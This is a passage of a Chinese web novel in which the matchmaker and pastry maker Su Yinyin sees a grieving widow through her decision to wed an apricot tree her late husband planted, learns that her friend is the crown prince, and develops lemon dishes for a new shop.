还好大果姐姐确实知道怎么给杏树驱虫,得知这件事后,抽空便来了西市一趟。 李大果的性格不用说,本就是性情中人,知道这棵杏树的含义后,给窦玉凤做出保证:“放心,不管用什么方法,一定帮你救活它,不耽误今年开花。” 窦玉凤赶紧点头,对两人千恩万谢。 说话间,前面店铺又有何家人过来,不敢咄咄逼人了,但话里话外绵里藏针。 但要说直接跟何家断亲,他家却做不出那么果决的事。 不是谁都有苏指挥使的决断。 何家公婆人老实,根本不敢。 苏茵茵看着窦玉凤姐姐,再看着受委屈的何家公婆,难免热血心性上来。 现在出头,应该没事了吧? 反正有张主簿顶在前头,做什么都没关系。 苏茵茵突然站出来,惊愕道:“玉凤姐姐,你的姻缘,我好像知道你的姻缘在哪了。” 何家人看过来,这谁啊。 “小红娘?你真的看出来了?”李大果一向聪明,此刻虽不知道茵茵妹妹要做什么,可她立刻接话。 窦玉凤也傻眼啊。 这是怎么了? 她什么姻缘? 苏茵茵小声道:“在你家铺子后院。” 那边的何家人眼神犹豫,不过听到有人喊她小红娘,大概知道眼前的小丫头是谁了。 西市小红娘,谁人不知? 他也好奇:“你说窦玉凤的姻缘?在哪?我家就说,她肯定会再嫁的。” 苏茵茵看了一圈人,径直往院子里走,走到生了虫病的杏树下,轻声道:“就是这。” 什么?! 一棵树?! 开什么玩笑。 苏茵茵眼神真挚:“玉凤姐姐,我能感觉到,就是这棵树。” “这棵树现在很不开心,因为你不高兴,所以他也病了。” 窦玉凤神色变了又变,明知道茵茵妹妹在帮她解围,可她竟然有几分信了? “是我相公吗,这是我相公种下的树,也就是说,我的姻缘还是在他身上。” 此话一出,方才找茬的何家人吓得后退几步。 古人都重鬼神之说,按照这种说法,他每次过来劝窦玉凤改嫁,岂不是都被堂兄听到? 可这种说法也太荒谬了。 绝对不可能的啊。 “乱说什么,堂兄早就入土为安,说不定投胎好几年了,在这妖言惑众,就不怕被抓起来?”何家人连忙道。 苏茵茵却开口:“那为何这棵树早不病,晚不病,就在你们逼玉凤姐姐改嫁的时候病了。” “杏树本身无病,却被引来病虫,病虫多是一家一族,啃噬其树本身,难道不是一种暗示?” 苏茵茵张口就来,说得对方一愣一愣,再想到小红娘的名声,对方还真有些退却了。 眼看对方踉踉跄跄离开,窦玉凤还未开口,何家公婆也没说话,苏茵茵立刻道:“别信,我胡说的。” 胡说的吗。 窦玉凤眼里的光彩散了。 她都要当成真的。 苏茵茵继续道:“我只是在吓唬对方,省得他们再来找你的麻烦。” 窦玉凤也笑自己:“也是,我怎么就信了。” 若这杏树真的是相公托生就好了。 可惜她也知道,这是不可能的。 等苏茵茵跟李大果离开,李大果感叹道:“这可真可怜,其实我们之前也听过她的事,本以为她等个几年,或许就会改嫁,现在看来,真的不会了。” 感情这事最是难说。 苏茵茵只能道:“是玉凤姐姐自己的选择吧。” 这就是爱情吗? 苏茵茵有些为窦玉凤难过,同时又觉得,只要是自己心甘情愿的,也确实没问题。 接下来几天里,李大果频繁过来,还真给杏树治的七七八八,接着只要继续用药,今年的杏花会照常开。 窦玉凤开心了,还在树底下小酌了会。 那何家人似乎真的被吓着,这段时间都没来。 至于有没有彻底信苏茵茵的话,还不好说。 东宫正殿。 李锐渊推开奏章,直接站起来。 刚刚过来的金彦磊不明所以:“殿下,您怎么了?” 郭展闻着他身上的奶油香甜,偷偷后退几步。 奶油蛋糕真的有那样好吃? 怎么每次过来,都吃到了啊。 郭展见殿下不说话,委婉道:“听说西市点心铺里,奶油蛋糕都要排队,您日日都去排啊。” 说到这,金彦磊嘿嘿一笑:“我不用排队啊,我跟店里的女娘认识,她提前给我备下了。” 哪壶不开提哪壶。 郭展最知道殿下最近烦心什么,给金彦磊一个自求多福的表情。 李锐渊眼神微眯,这段时间观政,俨然有了上位者的气势。 “原来是这样,那你每日过来时候,都给孤带一份,如何?” 这点小事,有什么了。 李锐渊让郭展给银子:“孤最近胃口不好,只想吃点不一样的。” “殿下哪里需要给银钱,我帮您买就行。”金彦磊赶紧道。 “不用,你如实说就好。”李锐渊继续道。 为什么啊。 金彦磊根本不能理解。 所以第二天如何跟茵茵姑娘讲的时候,还挠头来着,最后道:“太子应该好奇你家做的奶油蛋糕,所以想尝尝。他难得想吃一样东西,宫里要是知道,肯定说什么都给他弄过来,也是我运气好,接了这个差事。” “他从小就这样?”苏茵茵是问句,也像肯定句。 “对啊,太子表哥他小时候吧。”金彦磊没说完,含糊道,“反正他能长这么大不容易。” 苏茵茵沉默,除了奶油蛋糕之外,又打包了几块她试着做的新品,都是味道没那么浓郁,又好消化的。 其中还有梅子做的糕点,梅子的清甜味道很是开胃。 但打包好,她又去掉两块,递给金彦磊。 金彦磊更疑惑了啊。 这里面真的有他不知道的事! 点心到了李锐渊手中,又知道完整的对话,李锐渊道:“小时候的事说了也无妨,反正过了那么久,知道的并不少。” 金彦磊欲言又止,金彦磊左顾右盼,金彦磊闭上嘴巴。 但这事金彦磊到底没说,因为再去的时候,苏茵茵没在店里,说是有事要忙,听说去了隔壁药铺。 药铺。 李锐渊站起来,皱着眉道:“那件不是已经解决了。” 郭展也惊奇道:“张主簿难道还没摆平?” 官府都出面了,谁还会自找麻烦啊。 苏茵茵确实在何家药铺,此刻店里却没有来找茬的何家人。 有的只是郑重其事,端坐着的窦玉凤。 窦玉凤面容不算美丽,身上还虎里虎气的。 她此刻正色道:“没错,我要成亲。” 苏茵茵连忙道:“玉凤姐,你别犯傻啊。” 何家公婆同样点头,他们不愿意看她犯傻。 可窦玉凤站在杏花树下,对着终于开了花骨朵的杏树道:“我要跟相公成亲,一定要。” 李锐渊赶到时,苏茵茵急的都要哭了。 都怪她啊,她乱说什么话! “别着急,慢慢说。”李锐渊轻声安慰道。 苏茵茵不想跟他讲,只是劝着玉凤姐姐:“我真的是胡说的,你别信啊。” 窦玉凤见过赶来的少年,所以也没瞒着,直接道:“茵茵妹妹,我知道是假的,我也知道这只是杏树,不是相公。” 窦玉凤脸上却带着笑:“但又有什么区别呢,我只是想跟他成亲,他走之前我们没有婚礼,就拿树当成他,办一个婚礼吧。” “你们不用劝我,我都明白,做出这个决定,我很高兴的。” 苏茵茵真的欲哭无泪。 她都做了什么啊。 怎么就要跟一棵树成亲了。 当时只是用来搪塞何家的话啊。 她想不明白,甚至很糊涂。 “姐姐你确定吗,跟一颗杏树成亲,以后再也没有反悔的机会,你的人生还有很长很长啊。” “不嫁给别人,你可以招赘啊。” “不招赘,可以领养一个孩子,又或者不考虑孩子婚事,那你也不能真的吊死在一棵树上。” 苏茵茵说的急切,她想弥补自己的错误。 其实在她心里,以后的玉凤姐姐说不定会遇到合适的人,也许遇不到。 不管哪一种选择,都不能把自己装到框子里。 窦玉凤认真听着,最后却温柔坚定的反驳:“茵茵,你喜欢过一个人吗。” “很喜欢,很爱的那种。” “这在我们那,叫恋爱脑。”苏茵茵小声吐槽。 “不管是什么,这是我的选择,对吗。我因为知道他的好,他的优秀,从他帮我遮掩偷吃的时候,我就选择他了。”窦玉凤回忆起之前的时候,总是充满开心,“我愿意为那一刻付出很多,我也不觉得这样爱有什么不对。” “这种感情我觉得是很美好的。” 窦玉凤说着还笑:“我发现你跟我相公有点点像。很聪明,脑子比我要灵光多了,所以权衡利弊,要给喜欢的爱的人找一条最好最坦荡的路。” “但有没有一种可能,这不是我要的。” “我只是想嫁给他而已,只有这一个愿望。” 第52章 苏茵茵坐在自家小院的秋千上,有一搭没一搭的晃着,罕见没什么活力。 她为数不多用小红娘称号,竟然犯了这么大错误。 明知道古人重鬼神之说,怎么还要用这个吓唬人。 人是吓唬住了,还搭上一个。 李锐渊扶住秋千,弯腰看她:“别自责了,你说的已经很清楚,窦玉凤她什么都明白。” 苏茵茵无奈:“她要跟树成亲,办婚礼。” 不是因为她的话,玉凤姐姐也想不到啊。 “为什么不行。”李锐渊盯着她看:“是她的选择,我看的出来她很高兴,说不定感谢你提的建议。” 李锐渊已经知道前因后果,还知道那棵杏树代表的含义。 窦玉凤想要嫁给自己相公种下的树,倒是并不意外。 遇到一个心地善良,又对自己好的人,他也会愿意。 苏茵茵扯了个假笑:“我谢谢你安慰我。” 说罢站起身,看了看小院外的郭展,开口道:“我还有事,要不回头再聊。” 李锐渊并不让开,直接道:“还有回头吗。” 这还用说吗。 要不是刚刚精神恍惚,这位不知道名字的陌生人,根本进不了她家门,更进不了她小院。 李锐渊反而坐到秋千上,现在是苏茵茵低头看他了。 苏茵茵干脆道:“男女授受不亲,你不应该进我家门,也不应该在我爹娘哥哥不在的时候进门,还请回吧。” 见她执意要赶走自己,李锐渊转而继续说窦玉凤的事,他分析道:“你应该为她高兴才是,完成了自己的心愿。” “如果不成这个亲,她肯定会遗憾一辈子。” “遗憾也比做错要好。”苏茵茵认真道,“她以后的人生很长,如果做错了呢,后悔了呢。居安思危,思则有备,有备无患。” “那又或者是信不弃功,知不遗时?”李锐渊立刻反驳。 苏茵茵的意思是,要居安思危,凡事都要有准备。 李锐渊则道,把握好机会,才不会错过时机。 “听不懂,我是文盲。”苏茵茵直接摆烂。 主要是嫁给一棵树,太超过她想象的。 如果在现代,这件事早就在社交平台上被嘲讽无数次。 生存,安全,安心,明明都在那件事前面。 李锐渊还在秋千上,忽然道:“茵茵我不明白。” 不明白什么? 她眼神疑惑。 “明明你家庭和睦,爹娘慈爱,哥哥爱护,从小到大不说锦衣玉食,却也从不缺吃穿,为何你会很担忧。” “从小就是这样,你担心麻烦爹娘哥哥,认真为家里赚钱省钱,甚至你小猪储蓄罐里的钱,也会作为家里的银钱。我送你蝴蝶腰坠,你就要冒着风雪来给我过生辰。” 为什么。 “我有时候在想,是你家里给的安全感不够,还是我这个人不够好,所以才让你时时刻刻想着回报,时时刻刻有着忧患意识。” 不是说忧患意识不好。 它塑造了可爱善良坚韧的苏茵茵。 但另一方面,又压抑了她的勇气自在跟肆无忌惮。 明明她可以更放肆一点,她可以凭借家人的爱护,直接去开自己的店面,她可以试着跟青梅竹马发脾气撒火。 可她没有,只是收敛好自己的情绪,慢慢消化,慢慢当做什么事都没发生。 苏茵茵被戳中心思,一时间有些恼怒,可瞬间又平复了:“请你离开吧。” “这次没有理由,请你赶紧走。” 苏茵茵干脆把他推出们,连带郭展一起打包离开。 门外的李锐渊反而笑了,看的郭展不知道怎么回事。 李锐渊罕见解释:“她应该打我一顿的。” 啊? 打您一顿? 谁敢? 茵茵姑娘确实敢,但她不愿意这么做。 因为她在隐约知道殿下身份不俗的时候,自动划清界限。 若真能打一顿,说不定还真就不一样了? 不过等金彦磊再来买点心的时候,苏茵茵只当没看到,明摆着要划清界限。 金彦磊把这事说给太子殿下听时,他反而笑了笑,指了指盒子里的点心:“母后派人买的,吃吧。”??? 皇后娘娘给您送过来,您怎么不早说啊。 他日日拐到西市去买点心,还以为是您喜欢呢。 金彦磊有苦说不出,这里面肯定有他不知道的事! 好在他比较懒,没有仔细琢磨。 只是在西市一家药铺传来惊天消息时,他难免要去凑个热闹。 这个消息便是。 一家药铺老板娘要嫁给老板了。 可那老板三年前便去世,她要嫁给老板化身成的杏树! 还说要尽快办婚事,赶在三月杏花落败之前办。 这是什么事啊! 苏茵茵头疼。 她也不知道! 别问她! 但何家已经把消息传的七七八八。 何家内里刚开始也迷惑,谁会相信一棵树会是死了的堂兄弟化身。 只不过那是小红娘说的,他们心里难免发毛,再加上窦玉凤态度太过坚决,又有官府的人撑腰,大家基本知道没戏了。 直到听说窦玉凤要跟那棵杏树办婚事,才让所有人更加迷惑。 真的要跟一棵树办婚事,那树还真是窦玉凤相公的化身? 吓得何家众人连连道歉。 生怕死了的人来找他们麻烦。 不仅道歉,手里还拎着不少赔礼,就连家里族老都过去了。 反正一个意思,他们不该逼着窦玉凤改嫁,不应该欺负何家公婆等等。 窦玉凤懒得理他们,但脸上的开心不是作假,谁看了都不觉得这是在骗人。 苏茵茵只觉得罪孽深重。 家里人知道后,揉揉女儿的头:“这不是你的错,玉凤肯定明白啊。” 原锐也说过这样的话。 为了弥补遗憾。 在家人劝慰过后,苏茵茵终于打起精神,去何家药铺看了看。 何家公婆同样劝阻无果后,帮着筹办婚事。 这婚事办的简单,但该有的东西一样都没少。 因为窦玉凤相公去世之前,已经备好两份东西。 一份为聘礼,给他老家的堂兄弟准备,那位堂兄弟家境贫寒,估计备布了这么周全。 另一份是彩礼,单独给窦玉凤准备的,让她也有东西傍身再出嫁,不能只依靠对方的良心。 彩礼上写明了,何家药铺,以及他留下的笔记等等,都是窦玉凤的。 两份单子事无巨细,几乎把生前身后事全部交代清楚。 其中聘礼,甚至是他为自己妻子以后的丈夫准备。 苏茵茵头一次看到这么让人震撼的礼单。 两份东西拿在手上,只觉得有千斤重。 看着是礼单,却是对自己心爱之人一辈子的保障。 对方当时还在病榻上,又是怀着什么样的心情做完这些事。 苏茵茵无法想象。 怪不得玉凤姐姐只嫁他相公,而且这辈子便认定了。 想来在她被带到何家之后,还有无数这样让她感动的时候。 他们两个生死相隔,却有最真挚的爱情。 窦玉凤试穿了里面的嫁衣,还偷偷道:“我之前穿过的,试给他看,他说好看之后,就让我收起来了。” 那时候她相公病入膏肓。 现在想想,若知道他一定会走,就该拉着他办完婚事,现在也不用跟他种下的杏树拜堂了。 苏茵茵认真听着,刚开始她确实有些惊恐,到现在已经慢慢接受了。 知道玉凤姐姐不是头脑发热,是真的考虑过,她才放心。 也许,这就是她给自己的一个交代吧。 也是完成她的心愿。 这场婚事不是给去世之人看的,也不是给旁人看的。 是玉凤姐姐自己想要的。 既然这样,谁都不好阻止。 现在看来似乎真的没有必要阻止,这份感情别人或许不理解,可苏茵茵已经有些知道为什么了。 三月初六,春日正好,杏花开的极盛。 婚礼当日,窦玉凤只让公婆,以及苏茵茵李锐渊他们在场。 形式简单却不简陋,一切都是用心安排过的。 窦玉凤轻声说了不少话,有对去世相公的,有对公婆的,语气轻快自然,显然明白自己在做什么。 看着她脸上的笑,苏茵茵不仅接受,甚至理解了。 窦玉凤笑的坦荡认真,她在努力完成自己的心愿。 是因为她喜欢,她愿意。 她比任何人都勇敢。 “如果真的有下辈子,希望他们可以好好的。”苏茵茵轻声道。 李锐渊点头:“肯定会。” 苏茵茵心里感慨,又问道:“玉凤姐姐怎么请了你。” “沾你的光,她知道我们关系好。” 关系好吗? 苏茵茵踏出何家药铺的店门,还没回答这个问题,便被蜂拥而至的人群围住。 “苏茵茵,小红娘?你的名字如雷贯耳啊。” “杏树婚事成了?你怎么看出来她跟杏树有姻缘的啊。” “是不是你帮窦玉凤和他相公牵的线?” “看看我看看我,我什么时候能成亲啊。” 原本就出名的苏茵茵,这次更加夸张,谁见了都要问一句,能不能把我牵线啊。 苏茵茵吓得后退半步,可围上来的人越来越多。 谁让这件事如此离奇。 就算家里有对象的,也要来打听打听什么情况。 李锐渊先一步拉起她手腕,让郭展过去挡着,直接从缝隙里钻出来。 暗卫们看的揪心万分,没有命令不好直接出来。 一群人追着两人,多危险啊。 还好苏家离这里并不远,李锐渊借机再次进到了苏茵茵家门。 不过这会门里还站着一个人。 苏显下意识皱眉,开口道:“怎么了?” 苏茵茵连忙甩开对方,对哥哥道:“就是杏树成亲那事,更多人知道我了。” 这是真的让人苦恼啊。 苏显心道,我问的不是这个。 但李锐渊只当没看到对方眼神,反而正正经经告别离开:“我府上今日事多,先回了,过两日再来找你,马场的草长得差不多了,现在可以先练习着。你之前还说想学马球,等四月一过,便刚刚好。” 等李锐渊离开,苏显又仔细想了想对方的话。 他府上事多? 他府上。 这话就不对劲。 “原锐他已经成亲了?”苏显语不惊人死不休,吓得苏茵茵喝水差点呛到。 “没有吧。”他成亲的话,很多人应该会知道吧。 苏显却分析道:“他说府上事多,一般只有开府的人才会这么讲,一般人开府,必要符合两个条件,一个是成亲,又或者封了高官厚禄。” 放在早些年,甚至只有后者才能称之开府。 现在没那么多讲究,成家之后单住,也能这么说。 苏茵茵想了想,直接道:“那就是后者。” 说完之后,苏茵茵赶紧打个岔:“哥,你这会不应该在书院吗,怎么回家了。” “回来拿两本书,同窗想看。”苏显道,“没想到这几本书,竟然成了今年会试重点。” 苏显一边找书,一边说起缘由。 四月会试马上到来,山家书院不少举人学子正在潜心读书。 谁料今年主持会试的太子殿下,竟然换了主考官。 这位主考官早些年一直在家中赋闲,每日读书耕田,潜心研学,还编写了几本关于农耕,游记的书。 而他的尝尝挂在嘴边的,便是莫笑农家腊酒浑,丰年留客足鸡豚。 意思就是,形容农家酒菜丰盛。 更希望每一个农家都能有此丰盛的酒宴。 相比其他大家的政治抱负,他更倾向劝耕。 他甚至说过,自己读书,就是为了更好的耕田。 如今五十六岁的他被请出山,直接担任今年会试主考,可见以后的倾向。 不出意外的话,今年会试题目,也会从耕种上选择。 一时间,各大书铺,以及各大书院关于农耕的藏书,或买或借,全都被学生们抢到手中。 苏显之前就喜爱这方便的典籍,所以在书院借了几本,被同窗知道后,恳求他拿来看看。 “我先把书还给书院,然后随他们去借。” 苏显还是秀才,不用考会试,此刻更不好占着书。 “原来是这样。”苏茵茵惊讶道,“风向变得这样快,考生们压力肯定很大。” 但苏茵茵还是很喜欢新主考的,听着就是个很务实的人。 苏显把书找全之后,继续道:“他们还让我带些点心过去,说的想吃,但没时间排队。” 见哥哥拿的东西多,苏茵茵干脆跟她哥一起过去。 两人提着食盒,抱着书去往山家书院,期间还路过苏茵茵名下的铺子。 不过铺子现在关着门,还没有正式营业。 苏显道:“其实不用等慧女点心稳定,妹妹什么时候想开,直接开业就好。” 他知道妹妹的能力。 做点心管账,无一不精。 而且对开店非常兴奋,如今不开,只是害怕影响慧女点心的生意。 这本是随口一说,苏茵茵却莫名想到原锐的问话。 暂时叫他原锐好了,反正自己也不知道他叫什么。 “时时刻刻想着回报,时时刻刻有着忧患意识。” 所以,不仅原锐发现了,家里人也知道的。 有一种家人为她掏心掏肺,可她还是隔着一层。 苏茵茵皱着小脸,被实在没忍住的哥哥戳了一下:“到了。” 山家书院。 苏茵茵不是头一回来,但头一回这么受欢迎。 不仅因为带了点心跟书籍,还因为她的名声! 哪个书生不想要一段浪漫的爱情邂逅啊。 甚至还有备考的书生提前打招呼。 他现在备考来不及找姻缘,等他考完了,一定帮他牵线。 苏茵茵无奈。 以前只有西城人调侃,现在南城的书院都如此了。 好在临近会试,大家都比较忙。 山家书院附近的学习气氛最为浓厚。 书院本身学生就不少,周围还有不少人家腾出房屋,租给上京赶考的学生。 不过能考会试的学生,全部都是举人了,没有特别贫穷的。 话是这么说,苏家兄妹回程的时候,还是看到一个衣衫带着许多补丁的读书人,他手里拿着干巴巴的饼,另一手拿着书。 苏显道:“他是岭南的学子,听说家境贫寒,能考上举人便是意外。” 没等家里富起来便进京赶考,所以跟其他人不同 原来是这样,苏茵茵再看他皮肤黝黑,手上带着茧子,跟读书人的茧子不同,好像是做农活磨出来的。 这人似乎察觉到他们的目光,抬头看向苏家兄妹,目光如炬。 苏茵茵有些尴尬,主动道:“要不要吃点心,我这里还有一些。” 对方婉言谢绝,不过看到点心后,下意识道:“这是香橼做成的点心吗。” 苏茵茵看看戚风蛋糕。 是的,里面加了柠檬汁。 对方笑了:“是我们那的特产,我考乡试的钱,就是卖香橼赚的。” 还有这回事,那确实是缘分。 眼前的书生名叫黎兴,岭南人士,家境贫寒。 考上乡试之后,当地乡绅官员给的银钱大部分被他留在家里,让爹娘重建房屋,自己则轻装简行,前来考会试。 这样的人真厉害啊。 苏家兄妹对他都颇为敬佩。 细聊下来,苏显跟黎兴志向相同,颇有些相见恨晚的意思。 黎兴最后郑重感谢了苏茵茵。 这让她有些诧异。 黎兴却道:“若不是你找到食用香橼的方法,父老乡亲也不会多一笔收入。” 苏茵茵是去年八月份开始使用柠檬,当月汴京便兴起各色柠檬点心食物。 九月份时,货商把消息传回岭南。 那会黎兴还没出发,自然知道这件事。 苏茵茵实在没想到,自己做了个点心,竟然影响那么多人:“实在是香橼本身就很好,做成吃食大家都喜欢。” 黎兴摇头:“东西是很好,也要会用,我们附近几个村的百姓都从此获益。” 这对他们来说,增加不少收入。 而且看京城对香橼的喜爱程度,想来这还是个长久生意。 换做其他举人,或许不会注意到这种细节。 可黎兴正是农家出身,观察细致入微,还了解身边百姓,所以对苏茵茵极为感谢。 没想到她只是用了一种食材,就带来这么多好处。 回到家中,哥哥苏显还道:“这不是第一次啊,妹妹你忘了,还有一种食材,也是你带起来的。” “黄油?”苏茵茵脱口而出,“还有牛奶。” 黄油用在许多点心里,确实很好。 牛奶倒是特殊。 他们兄妹俩从小就喝,之后宫里也有贵人去买,连带着王公贵族家中,都喜食牛乳。 所以京郊周围产奶的奶牛越来越多,连着黄油制品价格降低,让更多人用得起。 不细想也罢了。 现在知道宫里贵人是谁,苏茵茵小声道:“也许还真的因为我?” 苏显听到妹妹这么说,心里一动,立刻道:“原锐是宫里的人?” 苏茵茵瞪大眼睛。 哥,你要不要这么敏锐。 这么一想,一切都通了。 苏显罕见焦急:“按照年纪,身份,还有最近开府。” “原锐,是太子。” 这个答案一直在苏茵茵心中,也算早就默认,不过被哥哥说出来,还是让人觉得很怪。 见茵茵点头,苏显眉头简直能夹死苍蝇。 以前很多事情,如今有种豁然开朗的感觉。 原锐学问极好,却从不参加科举,从去年开始十分忙碌,都是为了观政做准备,这么来说,全都对上了。 想来年前妹妹就知道了,那段时间情绪低落,也是因为这件事。 身份差距实在太大了。 即便是做朋友,也是他们家高攀不起的地位。 苏显今年二十一,在山家书院读书也有许多年,见过不少王公贵族是什么样子。 虽说原锐本身不坏,可其中差距堪称天堑。 “离他远点。”哥哥断言道,“越远越好。” 苏茵茵十分赞同,她肯定会的。 苏显松口气,妹妹这么聪明,她一直都这么做。 兄妹两个默契保守这个秘密。 都不准备告诉爹娘,省的爹娘跟着担心。 苏茵茵却想到什么,对哥哥道:“哥,他之前给了我几本游记跟风物志,作者都是同一个人,姓田。” 苏显扶额:“今年会试主考官就姓田。” 京城会试学子们都在押考题,尽量贴近主考官的喜好。 而主考官自己写的书,则在他们家。 若其他人知道了,只怕真的要把家里门槛踏破。 “还是别说吧,对其他考生不公平。”苏茵茵认真道。 她之前只觉得几本书写的有趣,上面记载麦子,水稻,以及各类豆子的生长规律,以及当地农人的心得体验等等。 没想到竟然是主考官所写。 回到屋子,苏茵茵照例去书房,案上正是还没看完的风物志,眼不见心烦,干脆给收起来。 太子。 真的是太子。 即使早就确定了。 也还是觉得诧异。 她意识到对方身份不同时,便想着远离。 可那会确实别别扭扭,心里还想着,对方要是公卿之子,差距虽大,却也不至于立刻离开。 意识到他身份尊贵无比之后,倒是一点别扭想法都没了。 苏茵茵揉揉脸。 有时间的话,不如想想自己的新店怎么开。 不能跟慧女点心有重合,还要做出自己的特色。 写配方的时候,苏茵茵又看了看上面的柠檬汁。 柠檬汁做成泡打粉,让鸡蛋清更容易打发。 这是做戚风蛋糕的秘密。 之前没觉得什么,大家都有自己的秘方。 可得知岭南百姓因此受益,她心里有种冲动。 如若更多人学会怎么做泡打粉,用柠檬汁做蛋糕。 那当地人会不会受益更多。 苏茵茵有些纠结,但她不会陷入这种情绪,反而趁着机会,又写出不少柠檬饮食做法。 马上夏天了,先把柠檬水做出来再说。 相信柠檬水的出现,同样能增加当地柠檬销量吧。 柠檬红茶,柠檬鸡爪,柠檬凉面,柠檬冰沙,还有柠檬奶冻。 她知道自己新店做什么吃食了! 她要推广柠檬,发现更多美食! 第53章 新店有了目标之后,苏茵茵开始忙碌起来。 反正最近不好去老店,省得被顾客们围住,一定让她介绍对象。 她哪有那种本事啊。 索性在家里研究新品,等会试结束,差不多就能开张。 苏娘子对此十分惊喜,她知道女儿可以的,顺便还说了个不算意外的消息。 “苏家点心关门了,咱们可以给你做个苏家点心的招牌。”苏娘子已经在计划去哪做招牌好。 还是爹爹讲了剩下的事。 自从过年从老家回来,他们彻底不跟大房往来。 加上苏娘子跟苏奶奶承诺,以后孙女会继承苏家点心的名头,彻底断了对方的念头。 蹭招牌不成,蹭方子也不成。 再加上汴京日益多样的点心行当,除了倒闭,没有第二个可能。 苏家大房不仅店铺倒闭,女儿的婚事更是雪上加霜。 陆家陆俊华母亲见他们的惨状,非但没有帮忙,反而强行断了两个小辈之间的联系。 说什么都不同意两人的婚事。 两人一个在老家,一个在汴京,一两个月不见,陆俊华情谊也散了,干脆专心读书。 他今年童试未过,反而堂弟陆如考上秀才,这也是陆俊华母亲生气的原因之一,觉得是对方耽误儿子读书云云。 总之两件事加起来,苏家大房颇有些一蹶不振的样子,甚至想来慧女点心服软。 可惜慧女点心连他们落脚的地方都没有。 听说他们可能会离开京城,倒也不是回老家,而是去大伯娘的娘家的闽地,准备去那边做点心。 他们要把在汴京学到的点心,带到那边。 苏茵茵听到这话,下意识道:“隔着那么远,大家口味都不相同,怎么可能那样顺利。” 再说了,人家当地的点心美食也很多,用得着你们去吗。 “他们想着京城点心花样多,所以去那边试试。” 听爹爹这么说,苏茵茵只好耸耸肩,随便他们了,反正跟他家没有关系。 若学艺不精,又或者不知变通,想来在哪都做成的。 那边苏家点心招牌彻底摘下,一家人收拾东西离开,走得非常低调。 等他家走了之后才知道,原来这家急着离开,还有这个原因。 那就是他家老大老二合着伙骗家里银子,然后去赌坊赌钱,家底都输得差不多了。 大房一家离开,也有躲债的意思。 怪不得跑那么远啊。 想来以后大概率再也见不到他们。 这让苏茵茵做吃食的速度都快了些。 而且她在家躲人,从想要姻缘的路人,再到不时过来的太子,在家真是个太好的选择。 但听到娘亲说,今年会试上的点心,还需要她们提供时,苏茵茵哪能不明白乡试是怎么回事。 现在想想,自己开始疏远他,他便干脆不装了,若有若无的透露身份,只等着她生气。 要说生气肯定有,但不至于让她失去理智。 苏娘子对此并不知情,还跟店里人商量,到时候关门几日,专门做会试点心。 这次会试要的点心种类比较多,好像还是考官们主动要求的。 苏茵茵松口气,不是走后门的就行。 不过也是,她家点心这么好吃,考官们主动要吃,这很正常。 原本以为这样的生活,一直会持续到会试结束,金彦磊却意外登门。 看到金彦磊,苏茵茵心情也比较复杂。 每次他过来,肯定是太子有话要说。 谁料这次她却猜错了,金彦磊身边还跟着一个人,看着比他大一两岁。 眼前的女子面容姣好,气质高贵,一看就是金尊玉贵养大,眼神带着跳脱,直直盯着苏茵茵。 “小红娘?是你吗。” 苏茵茵听她语气多少好奇,却也带了上位者不自觉的骄纵,好笑道:“是我。” “长得好看,眼睛格外漂亮。”女子看了她一圈,“确实是个有福气的。” 金彦磊无语,他以为自己身上王宫贵胄的习性够重了,郡主李雨情不遑多让。 “这是雨情郡主,她想求你帮个忙。”金彦磊点点头,“就是你猜的那个。” 这位姐姐普通人可惹不起,她爹是正儿八经的皇亲国戚,姓氏也为国姓。 李雨情兴奋道:“我听说你帮一家女子找到她已故的夫君,而她夫君就附身在杏树上,对吗。” “不对。”苏茵茵老实道,“没有这样的事,是她思念亡夫,想完成未完成的婚礼,所以才这样做。” 不是吗? 李雨情脸上如惊天霹雳。 苏茵茵想到什么,赶紧跑到厨房:“面要煮过了。” 她没做多少碱面,不能煮坏了啊。 做柠檬凉面,用碱面最合适。 金彦磊跟李雨情跟上去,还未进厨房,就闻到酸甜的料汁。 苏茵茵那边还在用冰块过凉面,两人口水都要掉下来了。 见者有份,苏茵茵给两人分了一些,还道:“正好帮我试试口味,看看有没有需要调整的。” 如今农历三月底,天气渐渐变热,现在临到中午,吃一碗凉面确实舒爽。 更不用提酸酸甜甜的料汁。 好吃啊。 他们还未吃过这样特殊风味的面食呢。 “这是什么做的?酸的好好吃,又不像是腌菜。”李雨情追问道。 方才骄纵的郡主,瞬间被一碗好吃的面征服。 “柠檬,就是香橼。是不是很开胃,哪里需要调整。” 金彦磊埋头苦吃,等面条吃了个干净,这才道:“我觉得非常好,没有需要调整的。” “要是有点辣就好了。”李雨情则认认真真提意见,“更能突出酸甜口吧。” 苏茵茵那边还真榨好的辣椒油。 如今辣椒不便宜,她要不是研究美食,肯定不舍得买。 给李雨情碗里加了一点后,香味果然好的不行。 这下金彦磊傻眼。 他就不该吃那么快! 苏茵茵记下两人的意见,适当调整柠檬凉面的口感。 见她认真做事,李雨情还有点不好意思,擦擦嘴道:“你真的不能看姻缘吗。” “不能,每次都是巧合呀。” 反正她认为是巧合。 李雨情叹口气:“好吧,我要是能找到自己命定姻缘就好了。” 她今年十六,到了婚嫁年纪,但那些纨绔子弟她一个也不喜欢,什么家世也敢来求亲。 家世就算了,各个长得弱不禁风,手不能提,还自以为风流呢。 好在这次也不是没有收获,至少食物真的很好吃。 怪不得金彦磊没事就过来。 这会满脑子感情的李雨情看看表弟,趁着漂亮小姑娘去厨房的时候,低声道:“你经常过来吃东西,是不是喜欢她。” 金彦磊指着自己,我?喜欢茵茵姑娘? 难道你不觉得这个念头很危险吗。 虽然不知道为什么危险,可他有这种感觉。 金彦磊吐槽:“太子殿下也喜欢吃她做的点心,难道也喜欢她?” 苏茵茵端着柠檬红茶的手一顿,有点不想让他们喝了怎么办。 但雨情郡主口味挑剔,她能给出合适的意见,所以还是放下手里的茶,让两个品尝,再提提意见。 李雨情却继续道:“太子可能有喜欢的人,观政之前身上的事就很多,观政之后跟我们这种闲散人更有云泥之别,每日跟政务谈感情吗。” 这点金彦磊倒是同意点头。 闲话说完,两人捧着茶杯。 柠檬红茶味道不必多说,经过多少人检验过的好喝。 再加点蜂蜜,便是人生必不能或缺的茶水之一。 李雨情甚至兴奋道:“茵茵妹妹,能不能先卖我一些柠檬红茶,我绝对不外传。” “第一批没有做太多,再等个三五日,第二批能做出来,到时候先卖给你。” 苏茵茵才不会放过这么大的客户! 她能感觉的出来,眼前郡主性格确实傲慢了些,可底色不坏,只是她与生俱来的身份,让她很容易有居高临下之感。 但她说,她跟太子有云泥之别吗。 原锐他没有那么傲吧。 苏茵茵心里悄悄反驳了句,还在跟眼前两人说话。 